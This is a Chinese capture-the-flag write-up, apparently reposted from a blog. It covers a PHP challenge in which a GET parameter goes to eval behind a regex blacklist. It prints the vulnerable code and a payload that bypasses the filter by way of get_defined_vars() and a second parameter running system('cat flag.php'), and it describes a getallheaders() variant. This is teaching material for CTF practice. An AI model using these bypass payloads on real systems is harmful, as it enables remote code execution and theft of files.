标签:web cmd vars GET get echo flag wp catflag
命令执行之我在哪
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|rm|find|flag|rm|\/|echo|\.|\\\|\*|\?/i',$_GET['cmd'])){
@eval($_GET['cmd']);
}else{
echo "danger_string";
}
}else{
echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
# mumuzi到此一游
?>
很明显是一个命令执行的题目
正则过滤的东西还是蛮多的
直接上方法吧
法一
paylaod
eval(end(pos(get_defined_vars())));&a=system("cat flag.php");
解释一下
这里我们先使用get_defined_vars(),首先看一下它的回显 返回由所有已定义变量所组成的数组
$_GET
$_POST
$_FILES
$_COOKIE
我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如 给变量后面添加一个a 就成这样
?cmd=var_dump(get_defined_vars());&a=1;
得到的结果如下
那么我们就可以构造而已参数 比如 system('ls');
然后想办法让他执行 我们就可以所以 先使用 pos 输出数组中的当前元素的值:
然后在使用 end 提取出来 使用eval执行 就ok了
第二个方法
第二个的payload是这样的
之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回 剩下的还上面法一的操作一样
标签:web,cmd,vars,GET,get,echo,flag,wp,catflag 来源: https://blog.csdn.net/m0_62761134/article/details/122806350
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。